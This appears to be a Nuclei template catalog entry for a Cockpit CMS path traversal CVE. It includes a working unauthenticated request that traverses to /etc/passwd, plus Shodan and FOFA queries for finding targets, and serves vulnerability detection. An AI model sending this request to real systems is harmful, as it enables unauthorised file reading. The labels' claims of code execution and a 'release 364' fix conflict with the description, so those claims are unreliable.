CVE-2026-58467: Cockpit CMS <= 2.14.0 - Path Traversal / Local File Inclusion
- Template: CVE-2026-58467
- Name: Cockpit CMS <= 2.14.0 - Path Traversal / Local File Inclusion
- Description: Cockpit CMS through 2.14.0 contains a path traversal and local file inclusion (LFI) vulnerability when executed under PHP's built-in CLI server (PHP_SAPI == 'cli-server') or non-normalizing reverse proxies. The application fails to sanitize dot-dot sequences in PATH_INFO routes starting with '/:' and containing '/storage/'. Unauthenticated remote attackers can traverse outside the designated directory to read arbitrary system files.
- Impact: An unauthenticated attacker can read sensitive system files (e.g., /etc/passwd), leading to potential credential exposure or further system compromise.
- Remediation: Upgrade to Cockpit CMS version 2.14.1 or higher.
- Severity: high
- Authors: Abdullah Shahid (comradezephyr)
- Tags: cve, cve2026, cockpit, cms, lfi, traversal
- References: https://www.cve.org/CVERecord?id=CVE-2026-58467, https://nvd.nist.gov/vuln/detail/CVE-2026-58467, https://github.com/cockpit-hq/cockpit/compare/2.14.0...2.14.1, https://github.com/geo-chen/oss/blob/main/cockpit.md
- Cves: CVE-2026-58467
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-58467.yaml
- Digest: 4a0a00473045022100bf56cd9c10eed746c5e42d3b9ad614ef37343aafcf566452d21005e3361ecc1502201ca2b843be506c770e7c9226f17a9fb7639a2f0812f989cd9f3eb4a0e2ca5078
- Created at: 2026-09-22T07:40:36Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 63
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-58467.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-22
- Cvss score: 8.2
- Cvss vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Epss score: 0.0173
- Epss percentile: 0.78191
- Not known: cpe
Metadata
- Fofa-query: icon_hash=="688609340"
- Max-request: 1
- Product: cockpit
- Shodan-query: http.favicon.hash:"688609340"
- Vendor: cockpit-hq
- Checked, none or zero: verified
Products
| Product | Indexed | Url |
|---|---|---|
| cockpit-hq:cockpit | yes | /v1/products/cockpit-hq/cockpit |
Labels
- Name: Cockpit CMS - Path Traversal & Local File Inclusion
- Impact: Unauthenticated attackers can read arbitrary files or execute PHP code, potentially leading to full system compromise.
- Remediation: Update to release 364 or later.
- Vulnerability type: local_file_inclusion
- Vulnerability impact: file_system_read, remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-58467
- Not known: requirements
```yaml
id: CVE-2026-58467
info:
name: Cockpit CMS <= 2.14.0 - Path Traversal / Local File Inclusion
author: Abdullah Shahid (comradezephyr)
severity: high
description: |
Cockpit CMS through 2.14.0 contains a path traversal and local file inclusion (LFI) vulnerability when executed under PHP's built-in CLI server (PHP_SAPI == 'cli-server') or non-normalizing reverse proxies. The application fails to sanitize dot-dot sequences in PATH_INFO routes starting with '/:' and containing '/storage/'. Unauthenticated remote attackers can traverse outside the designated directory to read arbitrary system files.
impact: |
An unauthenticated attacker can read sensitive system files (e.g., /etc/passwd), leading to potential credential exposure or further system compromise.
remediation: |
Upgrade to Cockpit CMS version 2.14.1 or higher.
reference:
- https://www.cve.org/CVERecord?id=CVE-2026-58467
- https://nvd.nist.gov/vuln/detail/CVE-2026-58467
- https://github.com/cockpit-hq/cockpit/compare/2.14.0...2.14.1
- https://github.com/geo-chen/oss/blob/main/cockpit.md
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
cvss-score: 8.2
cve-id: CVE-2026-58467
epss-score: 0.0173
epss-percentile: 0.78191
cwe-id: CWE-22
metadata:
verified: false
max-request: 1
vendor: cockpit-hq
product: cockpit
shodan-query: 'http.favicon.hash:"688609340"'
fofa-query: 'icon_hash=="688609340"'
tags: cve,cve2026,cockpit,cms,lfi,traversal
http:
- raw:
- |
GET /:x/storage/../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
digest: 4a0a00473045022100bf56cd9c10eed746c5e42d3b9ad614ef37343aafcf566452d21005e3361ecc1502201ca2b843be506c770e7c9226f17a9fb7639a2f0812f989cd9f3eb4a0e2ca5078:922c64590222798bb761d5b6d8e72950
```